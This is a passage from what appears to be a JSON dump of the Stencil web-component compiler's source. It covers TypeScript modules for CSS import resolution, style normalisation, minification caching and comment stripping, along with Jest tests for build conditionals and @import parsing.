Promise<boolean> => {\n  if (noLoop.includes(filePath)) {\n    return false;\n  }\n  noLoop.push(filePath);\n\n  return hasChangedImportContent(config, compilerCtx, buildCtx, filePath, content, noLoop);\n};\n\nconst hasChangedImportContent = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  filePath: string,\n  content: string,\n  checkedFiles: string[],\n) => {\n  const cssImports = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n  if (cssImports.length === 0) {\n    // don't bother\n    return false;\n  }\n\n  const isChangedImport = buildCtx.filesChanged.some((changedFilePath) => {\n    return cssImports.some((c) => c.filePath === changedFilePath);\n  });\n\n  if (isChangedImport) {\n    // one of the changed files is an import of this file\n    return true;\n  }\n\n  // keep digging\n  const promises = cssImports.map(async (cssImportData) => {\n    try {\n      const content = await compilerCtx.fs.readFile(cssImportData.filePath);\n      return hasChangedImportFile(config, compilerCtx, buildCtx, cssImportData.filePath, content, checkedFiles);\n    } catch (e) {\n      return false;\n    }\n  });\n\n  const results = await Promise.all(promises);\n\n  return results.includes(true);\n};\n"
  },
  {
    "path": "src/compiler/style/normalize-styles.ts",
    "content": "import { DEFAULT_STYLE_MODE, join, normalizePath, relative } from '@utils';\nimport { dirname, isAbsolute } from 'path';\n\nimport type * as d from '../../declarations';\n\nexport const normalizeStyles = (tagName: string, componentFilePath: string, styles: d.StyleCompiler[]) => {\n  styles.forEach((style) => {\n    if (style.modeName === DEFAULT_STYLE_MODE) {\n      style.styleId = tagName.toUpperCase();\n    } else {\n      style.styleId = `${tagName.toUpperCase()}#${style.modeName}`;\n    }\n\n    if (Array.isArray(style.externalStyles)) {\n      style.externalStyles.forEach((externalStyle) => {\n        normalizeExternalStyle(componentFilePath, externalStyle);\n      });\n    }\n  });\n};\n\nconst normalizeExternalStyle = (componentFilePath: string, externalStyle: d.ExternalStyleCompiler) => {\n  if (\n    typeof externalStyle.originalComponentPath !== 'string' ||\n    externalStyle.originalComponentPath.trim().length === 0\n  ) {\n    return;\n  }\n\n  // get the absolute path of the directory which the component is sitting in\n  const componentDir = dirname(componentFilePath);\n\n  if (isAbsolute(externalStyle.originalComponentPath)) {\n    // this path is absolute already!\n    // add to our list of style absolute paths\n    externalStyle.absolutePath = normalizePath(externalStyle.originalComponentPath);\n\n    // if this is an absolute path already, let's convert it to be relative\n    externalStyle.relativePath = normalizePath(relative(componentDir, externalStyle.originalComponentPath));\n  } else {\n    // this path is relative to the component\n    // add to our list of style relative paths\n    externalStyle.relativePath = normalizePath(externalStyle.originalComponentPath);\n\n    // create the absolute path to the style file\n    externalStyle.absolutePath = normalizePath(join(componentDir, externalStyle.originalComponentPath));\n  }\n};\n"
  },
  {
    "path": "src/compiler/style/optimize-css.ts",
    "content": "import { hasError, normalizePath } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { optimizeCssId } from '../../version';\n\nexport const optimizeCss = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  diagnostics: d.Diagnostic[],\n  styleText: string,\n  // TODO(STENCIL-1076): Investigate removing this parameter, which appears to be unused. This function is exported by\n  // the compiler, making this a breaking change should we remove it.\n  filePath: string,\n) => {\n  if (typeof styleText !== 'string' || !styleText.length) {\n    //  don't bother with invalid data\n    return styleText;\n  }\n\n  if ((config.autoprefixCss === false || config.autoprefixCss === null) && !config.minifyCss) {\n    // don't wanna autoprefix or minify, so just skip this\n    return styleText;\n  }\n\n  if (typeof filePath === 'string') {\n    filePath = normalizePath(filePath);\n  }\n\n  const opts: d.OptimizeCssInput = {\n    input: styleText,\n    filePath: filePath,\n    autoprefixer: config.autoprefixCss,\n    minify: config.minifyCss,\n  };\n\n  const cacheKey = await compilerCtx.cache.createKey('optimizeCss', optimizeCssId, opts);\n  const cachedContent = await compilerCtx.cache.get(cacheKey);\n  if (cachedContent != null) {\n    // let's use the cached data we already figured out\n    return cachedContent;\n  }\n\n  const minifyResults = await compilerCtx.worker!.optimizeCss(opts);\n  minifyResults.diagnostics.forEach((d) => {\n    // collect up any diagnostics from minifying\n    diagnostics.push(d);\n  });\n\n  if (typeof minifyResults.output === 'string' && !hasError(diagnostics)) {\n    // cool, we got valid minified output\n\n    // only cache if we got a cache key, if not it probably has an @import\n    await compilerCtx.cache.put(cacheKey, minifyResults.output);\n\n    return minifyResults.output;\n  }\n\n  return styleText;\n};\n"
  },
  {
    "path": "src/compiler/style/scope-css.ts",
    "content": "import { DEFAULT_STYLE_MODE } from '@utils';\n\n/**\n * Get a unique component ID which incorporates the component tag name and\n * (optionally) a style mode\n *\n * e.g. for the tagName `'my-component'` and the mode `'ios'` this would be\n * `'sc-my-component-ios'`.\n *\n * @param tagName the tag name for the component of interest\n * @param mode an optional mode\n * @returns a scope ID\n */\nexport const getScopeId = (tagName: string, mode?: string) => {\n  return 'sc-' + tagName + (mode && mode !== DEFAULT_STYLE_MODE ? '-' + mode : '');\n};\n"
  },
  {
    "path": "src/compiler/style/style-utils.ts",
    "content": "/**\n * Strip out comments from some CSS\n *\n * @param input the string we'd like to de-comment\n * @returns de-commented CSS!\n */\nexport const stripCssComments = (input: string): string => {\n  let isInsideString = null;\n  let currentCharacter = '';\n  let returnValue = '';\n\n  for (let i = 0; i < input.length; i++) {\n    currentCharacter = input[i];\n\n    if (input[i - 1] !== '\\\\') {\n      if (currentCharacter === '\"' || currentCharacter === \"'\") {\n        if (isInsideString === currentCharacter) {\n          isInsideString = null;\n        } else if (!isInsideString) {\n          isInsideString = currentCharacter;\n        }\n      }\n    }\n\n    // Find beginning of /* type comment\n    if (!isInsideString && currentCharacter === '/' && input[i + 1] === '*') {\n      // Ignore important comment when configured to preserve comments using important syntax: /*!\n      let j = i + 2;\n\n      // Iterate over comment\n      for (; j < input.length; j++) {\n        // Find end of comment\n        if (input[j] === '*' && input[j + 1] === '/') {\n          break;\n        }\n      }\n      // Resume iteration over CSS string from the end of the comment\n      i = j + 1;\n      continue;\n    }\n\n    returnValue += currentCharacter;\n  }\n  return returnValue;\n};\n"
  },
  {
    "path": "src/compiler/style/test/build-conditionals.spec.ts",
    "content": "// @ts-nocheck\n// TODO(STENCIL-463): as part of getting these tests to pass, remove // @ts-nocheck\nimport { Compiler, Config } from '@stencil/core/compiler';\nimport { mockConfig } from '@stencil/core/testing';\nimport path from 'path';\n\n// TODO(STENCIL-463): investigate getting these tests to pass again\ndescribe.skip('build-conditionals', () => {\n  jest.setTimeout(20000);\n  let compiler: Compiler;\n  let config: Config;\n  const root = path.resolve('/');\n\n  beforeEach(async () => {\n    config = mockConfig();\n    compiler = new Compiler(config);\n    await compiler.fs.writeFile(path.join(root, 'src', 'index.html'), `<cmp-a></cmp-a>`);\n    await compiler.fs.commit();\n  });\n\n  it('should import function svg/slot build conditionals, remove on rebuild, and add back on rebuild', async () => {\n    compiler.config.watch = true;\n    await compiler.fs.writeFiles({\n      [path.join(root, 'src', 'cmp-a.tsx')]: `\n        import {icon, slot} from './icon';\n        @Component({ tag: 'cmp-a', shadow: true }) export class CmpA {\n          render() {\n            return <div>{icon()}{slot()}</div>\n          }\n        }`,\n      [path.join(root, 'src', 'slot.tsx')]: `\n        export default () => <slot/>;\n      `,\n      [path.join(root, 'src', 'icon.tsx')]: `\n        import slot from './slot';\n        export const icon = () => <svg/>;\n        export { slot };\n      `,\n    });\n    await compiler.fs.commit();\n\n    let r = await compiler.build();\n    let rebuildListener = compiler.once('buildFinish');\n\n    expect(r.diagnostics).toHaveLength(0);\n    expect(r.buildConditionals).toEqual({\n      shadow: true,\n      slot: true,\n      svg: true,\n      vdom: true,\n    });\n\n    await compiler.fs.writeFiles(\n      {\n        [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a' }) export class CmpA {}`,\n      },\n      { clearFileCache: true },\n    );\n    await compiler.fs.commit();\n\n    compiler.trigger('fileUpdate', path.join(root, 'src', 'cmp-a.tsx'));\n\n    r = await rebuildListener;\n\n    expect(r.diagnostics).toHaveLength(0);\n    expect(r.buildConditionals).toEqual({\n      shadow: false,\n      slot: false,\n      svg: false,\n      vdom: false,\n    });\n\n    await compiler.fs.writeFiles(\n      {\n        [path.join(root, 'src', 'cmp-a.tsx')]: `\n      import {icon, slot} from './icon';\n      @Component({ tag: 'cmp-a', shadow: true }) export class CmpA {\n        render() {\n          return <div>{icon()}{slot()}</div>\n        }\n      }`,\n      },\n      { clearFileCache: true },\n    );\n    await compiler.fs.commit();\n\n    rebuildListener = compiler.once('buildFinish');\n\n    compiler.trigger('fileUpdate', path.join(root, 'src', 'cmp-a.tsx'));\n\n    r = await rebuildListener;\n\n    expect(r.diagnostics).toHaveLength(0);\n    expect(r.buildConditionals).toEqual({\n      shadow: true,\n      slot: true,\n      svg: true,\n      vdom: true,\n    });\n  });\n\n  it('should set slot build conditionals, not import unused svg import', async () => {\n    await compiler.fs.writeFiles({\n      [path.join(root, 'src', 'cmp-a.tsx')]: `\n        import icon from './icon';\n        @Component({ tag: 'cmp-a', shadow: true }) export class CmpA {\n          render() {\n            return <div><slot/></div>\n          }\n        }`,\n      [path.join(root, 'src', 'icon.tsx')]: `\n        export default () => <svg/>;\n      `,\n    });\n    await compiler.fs.commit();\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n    expect(r.buildConditionals).toEqual({\n      shadow: true,\n      slot: true,\n      svg: false,\n      vdom: true,\n    });\n  });\n\n  it('should set slot build conditionals', async () => {\n    await compiler.fs.writeFiles({\n      [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a' }) export class CmpA {\n        render() {\n          return <div><slot/></div>\n        }\n      }`,\n    });\n    await compiler.fs.commit();\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n    expect(r.buildConditionals).toEqual({\n      shadow: false,\n      slot: true,\n      svg: false,\n      vdom: true,\n    });\n  });\n\n  it('should set vdom build conditionals', async () => {\n    await compiler.fs.writeFiles({\n      [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a' }) export class CmpA {\n        render() {\n          return <div>Hello World</div>\n        }\n      }`,\n    });\n    await compiler.fs.commit();\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n    expect(r.buildConditionals).toEqual({\n      shadow: false,\n      slot: false,\n      svg: false,\n      vdom: true,\n    });\n  });\n\n  it('should not set vdom build conditionals', async () => {\n    await compiler.fs.writeFiles({\n      [path.join(root, 'src', 'cmp-a.tsx')]: `@Component({ tag: 'cmp-a' }) export class CmpA {\n        render() {\n          return 'Hello World';\n        }\n      }`,\n    });\n    await compiler.fs.commit();\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n    expect(r.buildConditionals).toEqual({\n      shadow: false,\n      slot: false,\n      svg: false,\n      vdom: false,\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/style/test/css-imports.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockBuildCtx, mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\nimport { buildError, normalizePath } from '@utils';\nimport path from 'path';\n\nimport { FsReadOptions } from '../../sys/in-memory-fs';\nimport {\n  getCssImports,\n  isCssNodeModule,\n  isLocalCssImport,\n  parseCssImports,\n  replaceImportDeclarations,\n} from '../css-imports';\n\ndescribe('css-imports', () => {\n  const root = path.resolve('/');\n  let compilerCtx: d.CompilerCtx;\n  let buildCtx: d.BuildCtx;\n  let config: d.ValidatedConfig;\n  let readFileMock: jest.SpyInstance<Promise<string>, [string, FsReadOptions?]>;\n\n  beforeEach(() => {\n    config = mockValidatedConfig();\n    compilerCtx = mockCompilerCtx(config);\n    buildCtx = mockBuildCtx(config, compilerCtx);\n    readFileMock = jest.spyOn(compilerCtx.fs, 'readFile');\n  });\n\n  afterEach(() => {\n    readFileMock.mockClear();\n  });\n\n  describe('isCssNodeModule', () => {\n    it('starts with ~ is node module', () => {\n      const url = `~@ionic/core/css/normalize.css`;\n      expect(isCssNodeModule(url)).toBe(true);\n    });\n\n    it('contains ~', () => {\n      const url = `ionic~a.css`;\n      expect(isCssNodeModule(url)).toBe(false);\n    });\n\n    it('http url not node module', () => {\n      const url = `http://stenciljs.com/styles.css`;\n      expect(isCssNodeModule(url)).toBe(false);\n    });\n\n    it('local url not node module', () => {\n      const url = `styles.css`;\n      expect(isCssNodeModule(url)).toBe(false);\n    });\n  });\n\n  describe('replaceImportDeclarations', () => {\n    it('replace node_module imports w/ styleText', () => {\n      const styleText = `@import '~@ionic/core/dist/ionic/ionic.css'; body { color: red; }`;\n      const cssImports: d.CssImportData[] = [\n        {\n          filePath: `/node_modules/@ionic/core/dist/ionic/ionic.css`,\n          srcImport: `@import '~@ionic/core/dist/ionic/ionic.css';`,\n          url: `~@ionic/core/dist/ionic/ionic.css`,\n          styleText: `div { color: blue; }`,\n        },\n      ];\n      const output = replaceImportDeclarations(styleText, cssImports, true);\n      expect(output).toBe(`div { color: blue; } body { color: red; }`);\n    });\n\n    it('replace local imports w/ styleText', () => {\n      const styleText = `@import \"file-a.css\"; @import \"./file-b.css\"; body { color: red; }`;\n      const cssImports: d.CssImportData[] = [\n        {\n          filePath: `/src/cmp/file-a.css`,\n          srcImport: `@import \"file-a.css\";`,\n          url: `file-a.css`,\n          styleText: `div { color: blue; }`,\n        },\n        {\n          filePath: `/src/cmp/file-b.css`,\n          srcImport: `@import \"./file-b.css\";`,\n          url: `./file-c.css`,\n          styleText: `span { color: green; }`,\n        },\n      ];\n      const output = replaceImportDeclarations(styleText, cssImports, true);\n      expect(output).toBe(`div { color: blue; } span { color: green; } body { color: red; }`);\n    });\n\n    it('do nothing for no imports', () => {\n      const styleText = `body { color: red; }`;\n      const cssImports: d.CssImportData[] = [];\n      const output = replaceImportDeclarations(styleText, cssImports, true);\n      expect(output).toBe(`body { color: red; }`);\n    });\n\n    it('do nothing for empty string', () => {\n      const styleText = ``;\n      const cssImports: d.CssImportData[] = [];\n      const output = replaceImportDeclarations(styleText, cssImports, true);\n      expect(output).toBe(``);\n    });\n\n    describe('with CSS import modifiers', () => {\n      it('should wrap imported styles with @layer modifier', () => {\n        const styleText = `@import \"theme.css\" layer(utilities);`;\n        const cssImports: d.CssImportData[] = [\n          {\n            filePath: `/src/theme.css`,\n            srcImport: `@import \"theme.css\" layer(utilities);`,\n            url: `theme.css`,\n            styleText: `.btn { color: blue; }`,\n            modifiers: 'layer(utilities)',\n          },\n        ];\n        const output = replaceImportDeclarations(styleText, cssImports, true);\n        expect(output).toBe(`@layer utilities {\\n.btn { color: blue; }\\n}`);\n      });\n\n      it('should wrap imported styles with @supports modifier', () => {\n        const styleText = `@import \"grid.css\" supports(display: grid);`;\n        const cssImports: d.CssImportData[] = [\n          {\n            filePath: `/src/grid.css`,\n            srcImport: `@import \"grid.css\" supports(display: grid);`,\n            url: `grid.css`,\n            styleText: `.grid { display: grid; }`,\n            modifiers: 'supports(display: grid)',\n          },\n        ];\n        const output = replaceImportDeclarations(styleText, cssImports, true);\n        expect(output).toBe(`@supports (display: grid) {\\n.grid { display: grid; }\\n}`);\n      });\n\n      it('should wrap imported styles with media query modifier', () => {\n        const styleText = `@import \"mobile.css\" screen and (max-width: 768px);`;\n        const cssImports: d.CssImportData[] = [\n          {\n            filePath: `/src/mobile.css`,\n            srcImport: `@import \"mobile.css\" screen and (max-width: 768px);`,\n            url: `mobile.css`,\n            styleText: `.mobile { font-size: 14px; }`,\n            modifiers: 'screen and (max-width: 768px)',\n          },\n        ];\n        const output = replaceImportDeclarations(styleText, cssImports, true);\n        expect(output).toBe(`@media screen and (max-width: 768px) {\\n.mobile { font-size: 14px; }\\n}`);\n      });\n\n      it('should wrap imported styles with layer and media query modifiers', () => {\n        const styleText = `@import \"utilities.css\" layer(utils) screen and (min-width: 1024px);`;\n        const cssImports: d.CssImportData[] = [\n          {\n            filePath: `/src/utilities.css`,\n            srcImport: `@import \"utilities.css\" layer(utils) screen and (min-width: 1024px);`,\n            url: `utilities.css`,\n            styleText: `.util { padding: 1rem; }`,\n            modifiers: 'layer(utils) screen and (min-width: 1024px)',\n          },\n        ];\n        const output = replaceImportDeclarations(styleText, cssImports, true);\n        expect(output).toBe(`@media screen and (min-width: 1024px) {\\n@layer utils {\\n.util { padding: 1rem; }\\n}\\n}`);\n      });\n\n      it('should wrap imported styles with supports and media query modifiers', () => {\n        const styleText = `@import \"flex.css\" supports(display: flex) screen and (width <= 400px);`;\n        const cssImports: d.CssImportData[] = [\n          {\n            filePath: `/src/flex.css`,\n            srcImport: `@import \"flex.css\" supports(display: flex) screen and (width <= 400px);`,\n            url: `flex.css`,\n            styleText: `.flex { display: flex; }`,\n            modifiers: 'supports(display: flex) screen and (width <= 400px)',\n          },\n        ];\n        const output = replaceImportDeclarations(styleText, cssImports, true);\n        expect(output).toBe(\n          `@supports (display: flex) {\\n@media screen and (width <= 400px) {\\n.flex { display: flex; }\\n}\\n}`,\n        );\n      });\n\n      it('should wrap imported styles with layer, supports, and media query modifiers in correct order', () => {\n        const styleText = `@import \"style.css\" layer(typography) supports((not (display: grid)) and (display: flex)) screen and (width <= 400px);`;\n        const cssImports: d.CssImportData[] = [\n          {\n            filePath: `/src/style.css`,\n            srcImport: `@import \"style.css\" layer(typography) supports((not (display: grid)) and (display: flex)) screen and (width <= 400px);`,\n            url: `style.css`,\n            styleText: `p { margin-bottom: 24px; }`,\n            modifiers:\n              'layer(typography) supports((not (display: grid)) and (display: flex)) screen and (width <= 400px)',\n          },\n        ];\n        const output = replaceImportDeclarations(styleText, cssImports, true);\n        expect(output).toBe(\n          `@supports ((not (display: grid)) and (display: flex)) {\\n@media screen and (width <= 400px) {\\n@layer typography {\\np { margin-bottom: 24px; }\\n}\\n}\\n}`,\n        );\n      });\n\n      it('should handle complex nested parentheses in supports modifier', () => {\n        const styleText = `@import \"advanced.css\" supports((selector(h2 > p)) and (font-tech(color-COLRv1)));`;\n        const cssImports: d.CssImportData[] = [\n          {\n            filePath: `/src/advanced.css`,\n            srcImport: `@import \"advanced.css\" supports((selector(h2 > p)) and (font-tech(color-COLRv1)));`,\n            url: `advanced.css`,\n            styleText: `h2 > p { color: red; }`,\n            modifiers: 'supports((selector(h2 > p)) and (font-tech(color-COLRv1)))',\n          },\n        ];\n        const output = replaceImportDeclarations(styleText, cssImports, true);\n        expect(output).toBe(\n          `@supports ((selector(h2 > p)) and (font-tech(color-COLRv1))) {\\nh2 > p { color: red; }\\n}`,\n        );\n      });\n\n      it('should not wrap when no modifiers present', () => {\n        const styleText = `@import \"simple.css\";`;\n        const cssImports: d.CssImportData[] = [\n          {\n            filePath: `/src/simple.css`,\n            srcImport: `@import \"simple.css\";`,\n            url: `simple.css`,\n            styleText: `div { color: blue; }`,\n          },\n        ];\n        const output = replaceImportDeclarations(styleText, cssImports, true);\n        expect(output).toBe(`div { color: blue; }`);\n      });\n    });\n  });\n\n  describe('isLocalCssImport', () => {\n    it.each([\n      {\n        importStmt: '@import url(   \"  https//stenciljs.com/some.css);',\n        description: 'not local, http w/ spaces url',\n        expected: false,\n      },\n      {\n        importStmt: `@import url(//stenciljs.com/some.css);`,\n        description: 'not local, // url',\n        expected: false,\n      },\n      {\n        importStmt: `@import url(https://stenciljs.com/some.css);`,\n        description: 'not local, https url',\n        expected: false,\n      },\n      {\n        importStmt: `@import url(http://stenciljs.com/some.css);`,\n        description: 'not local, http url, no quotes',\n        expected: false,\n      },\n      {\n        importStmt: `@import url(\"http://stenciljs.com/some.css\");`,\n        description: 'not local, http url, double quotes',\n        expected: false,\n      },\n      {\n        importStmt: `@import url('http://stenciljs.com/some.css');`,\n        description: 'not local, http url, single quotes',\n        expected: false,\n      },\n      {\n        importStmt: `@import url('some.css');`,\n        description: 'is local, url, single quotes',\n        expected: true,\n      },\n      {\n        importStmt: `@import url(\"some.css\");`,\n        description: 'is local, url, double quotes',\n        expected: true,\n      },\n      {\n        importStmt: `@import \"some.css\";`,\n        description: 'is local, double quotes',\n        expected: true,\n      },\n      {\n        importStmt: `@import 'some.css';`,\n        description: 'is local, single quotes',\n        expected: true,\n      },\n    ])('should return $expected when $description', (testArgs) => {\n      const { importStmt, expected } = testArgs;\n      expect(isLocalCssImport(importStmt)).toBe(expected);\n    });\n  });\n\n  describe('getCssImports', () => {\n    it('scss extension', async () => {\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.scss'));\n      const content = `\n        @import \"file-b\";\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          filePath: normalizePath(path.join(root, 'src', 'cmp', 'file-b.scss')),\n          altFilePath: normalizePath(path.join(root, 'src', 'cmp', '_file-b.scss')),\n          srcImport: `@import \"file-b\";`,\n          url: `file-b`,\n        },\n      ]);\n    });\n\n    it('less extension', async () => {\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.LESS'));\n      const content = `\n        @import \"file-b\";\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          filePath: normalizePath(path.join(root, 'src', 'cmp', 'file-b.less')),\n          srcImport: `@import \"file-b\";`,\n          url: `file-b`,\n        },\n      ]);\n    });\n\n    it('url() w/out quotes', async () => {\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.scss'));\n      const content = `\n        @import url(../../node_modules/@ionic/core/css/normalize.css);\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          filePath: normalizePath(path.join(root, 'node_modules', '@ionic', 'core', 'css', 'normalize.css')),\n          srcImport: `@import url(../../node_modules/@ionic/core/css/normalize.css);`,\n          url: `../../node_modules/@ionic/core/css/normalize.css`,\n        },\n      ]);\n    });\n\n    it('absolute url()', async () => {\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.scss'));\n      const content = `\n        @import url('${normalizePath(path.join(root, 'build', 'app', 'app.css'))}');\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          filePath: normalizePath(path.join(root, 'build', 'app', 'app.css')),\n          srcImport: `@import url('${normalizePath(path.join(root, 'build', 'app', 'app.css'))}');`,\n          url: `${normalizePath(path.join(root, 'build', 'app', 'app.css'))}`,\n        },\n      ]);\n    });\n\n    it('relative url()s', async () => {\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.css'));\n      const content = `\n        @import url('file-a.css');@import  url('./file-b.css');\n        @import url('../file-c.css');\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          filePath: normalizePath(path.join(root, 'src', 'cmp', 'file-a.css')),\n          srcImport: `@import url('file-a.css');`,\n          url: `file-a.css`,\n        },\n        {\n          filePath: normalizePath(path.join(root, 'src', 'cmp', 'file-b.css')),\n          srcImport: `@import  url('./file-b.css');`,\n          url: `./file-b.css`,\n        },\n        {\n          filePath: normalizePath(path.join(root, 'src', 'file-c.css')),\n          srcImport: `@import url('../file-c.css');`,\n          url: `../file-c.css`,\n        },\n      ]);\n    });\n\n    it('ignore imports inside comments', async () => {\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.css'));\n      const content = `\n      @import url('file.css');\n        /* @import url('file-a.css'); */\n        /*@import  url('./file-b.css');\n        @import url('../file-c.css');\n        */\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          filePath: normalizePath(path.join(root, 'src', 'cmp', 'file.css')),\n          srcImport: `@import url('file.css');`,\n          url: `file.css`,\n        },\n      ]);\n    });\n\n    it('ignore external url()s', async () => {\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.css'));\n      const content = `\n        @import url(\"http://stenciljs.com/build/app/app.css\");\n        @import url(\"HTTPS://stenciljs.com/build/app/app.css\");\n        @import url('//stenciljs.com/build/app/app.css');\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([]);\n    });\n\n    it('double quote, relative path @import', async () => {\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.css'));\n      const content = `\n        @import \"file-b.css\";\n        @import \"./file-c.css\";\n        @import \"../global/file-d.css\";\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          filePath: normalizePath(path.join(root, 'src', 'cmp', 'file-b.css')),\n          srcImport: `@import \"file-b.css\";`,\n          url: `file-b.css`,\n        },\n        {\n          filePath: normalizePath(path.join(root, 'src', 'cmp', 'file-c.css')),\n          srcImport: `@import \"./file-c.css\";`,\n          url: `./file-c.css`,\n        },\n        {\n          filePath: normalizePath(path.join(root, 'src', 'global', 'file-d.css')),\n          srcImport: `@import \"../global/file-d.css\";`,\n          url: `../global/file-d.css`,\n        },\n      ]);\n    });\n\n    it('single quote, relative path @import', async () => {\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.css'));\n      const content = `\n        @import 'file-b.css';\n        @import './file-c.css';\n        @import '../global/file-d.css';\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          filePath: normalizePath(path.join(root, 'src', 'cmp', 'file-b.css')),\n          srcImport: `@import 'file-b.css';`,\n          url: `file-b.css`,\n        },\n        {\n          filePath: normalizePath(path.join(root, 'src', 'cmp', 'file-c.css')),\n          srcImport: `@import './file-c.css';`,\n          url: `./file-c.css`,\n        },\n        {\n          filePath: normalizePath(path.join(root, 'src', 'global', 'file-d.css')),\n          srcImport: `@import '../global/file-d.css';`,\n          url: `../global/file-d.css`,\n        },\n      ]);\n    });\n\n    it('node path @import w/ package.json, no main field', async () => {\n      const files = new Map<string, string>();\n      const nodeModulePkgPath = path.join(root, 'node_modules', '@ionic', 'core', 'package.json');\n      files.set(nodeModulePkgPath, JSON.stringify({ name: '@ionic/core' }));\n\n      const nodeModuleMainPath = path.join(root, 'node_modules', '@ionic', 'core', 'index.js');\n      files.set(nodeModuleMainPath, `// index.js`);\n\n      const nodeModuleCss = path.join(root, 'node_modules', '@ionic', 'core', 'dist', 'ionic', 'ionic.css');\n      files.set(nodeModuleCss, `/*ionic.css*/`);\n\n      await compilerCtx.fs.writeFiles(files);\n      await compilerCtx.fs.commit();\n\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.css'));\n      const content = `\n        @import '~@ionic/core/dist/ionic/ionic.css';\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          filePath: normalizePath(path.join(root, 'node_modules', '@ionic', 'core', 'dist', 'ionic', 'ionic.css')),\n          srcImport: `@import '~@ionic/core/dist/ionic/ionic.css';`,\n          updatedImport: `@import \"${normalizePath(\n            path.join(root, 'node_modules', '@ionic', 'core', 'dist', 'ionic', 'ionic.css'),\n          )}\";`,\n          url: `~@ionic/core/dist/ionic/ionic.css`,\n        },\n      ]);\n    });\n\n    it('node path @import w/ package.json, no path and main css field', async () => {\n      const files = new Map<string, string>();\n      const nodeModulePkgPath = path.join(root, 'node_modules', '@ionic', 'core', 'package.json');\n      files.set(nodeModulePkgPath, JSON.stringify({ name: '@ionic/core', main: 'index.css' }));\n\n      const nodeModuleMainPath = path.join(root, 'node_modules', '@ionic', 'core', 'index.css');\n      files.set(nodeModuleMainPath, `/*ionic.css*/`);\n\n      await compilerCtx.fs.writeFiles(files);\n      await compilerCtx.fs.commit();\n\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.css'));\n      const content = `\n        @import '~@ionic/core';\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          filePath: normalizePath(path.join(root, 'node_modules', '@ionic', 'core', 'index.css')),\n          srcImport: `@import '~@ionic/core';`,\n          updatedImport: `@import \"${normalizePath(path.join(root, 'node_modules', '@ionic', 'core', 'index.css'))}\";`,\n          url: `~@ionic/core`,\n        },\n      ]);\n    });\n\n    it('node path @import w/ package.json and main JS field', async () => {\n      const files = new Map<string, string>();\n      const nodeModulePkgPath = path.join(root, 'node_modules', '@ionic', 'core', 'package.json');\n      files.set(nodeModulePkgPath, JSON.stringify({ name: '@ionic/core', main: 'index.js' }));\n\n      const nodeModuleMainPath = path.join(root, 'node_modules', '@ionic', 'core', 'index.js');\n      files.set(nodeModuleMainPath, `// index.js`);\n\n      const nodeModuleCss = path.join(root, 'node_modules', '@ionic', 'core', 'dist', 'ionic', 'ionic.css');\n      files.set(nodeModuleCss, `/*ionic.css*/`);\n\n      await compilerCtx.fs.writeFiles(files);\n      await compilerCtx.fs.commit();\n\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.css'));\n      const content = `\n        @import '~@ionic/core/dist/ionic/ionic.css';\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          filePath: normalizePath(path.join(root, 'node_modules', '@ionic', 'core', 'dist', 'ionic', 'ionic.css')),\n          srcImport: `@import '~@ionic/core/dist/ionic/ionic.css';`,\n          updatedImport: `@import \"${normalizePath(\n            path.join(root, 'node_modules', '@ionic', 'core', 'dist', 'ionic', 'ionic.css'),\n          )}\";`,\n          url: `~@ionic/core/dist/ionic/ionic.css`,\n        },\n      ]);\n    });\n\n    it('absolute path @import', async () => {\n      const filePath = normalizePath(path.join(root, 'src', 'cmp', 'file-a.css'));\n      const content = `\n        @import '${normalizePath(path.join(root, 'src', 'file-b.css'))}';\n      `;\n      const results = await getCssImports(config, compilerCtx, buildCtx, filePath, content);\n      expect(results).toEqual([\n        {\n          